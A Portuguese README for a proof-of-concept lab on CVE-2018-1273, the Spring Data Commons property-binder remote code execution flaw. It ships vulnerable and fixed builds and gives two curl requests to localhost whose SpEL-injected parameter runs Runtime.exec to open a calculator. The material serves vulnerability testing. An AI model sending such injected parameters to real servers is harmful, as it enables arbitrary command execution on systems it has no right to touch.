
PoC para CVE-2018-1273: RCE do property binder do Spring Data Commons via parâmetros de solicitação maliciosos contra endpoints REST. Inclui versões vulneráveis e corrigidas para teste.
Spring Data Commons, versões de 1.13 a 1.13.10, de 2.0 a 2.0.5, e versões antigas sem suporte, contêm uma vulnerabilidade no property binder causada pela neutralização inadequada de elementos especiais. Um usuário malicioso remoto não autenticado (ou atacante) pode fornecer parâmetros de requisição especialmente elaborados contra recursos HTTP suportados pelo Spring Data REST ou usar a vinculação de payload de requisição baseada em projeção do Spring Data, que pode levar a um ataque de execução remota de código.
Mais informações aqui
A aplicação pode ser testada com a versão vulnerável ou com a versão corrigida do Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Execute o seguinte comando para verificar se a vulnerabilidade pode ser explorada:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Criado por https://www.arima.eu
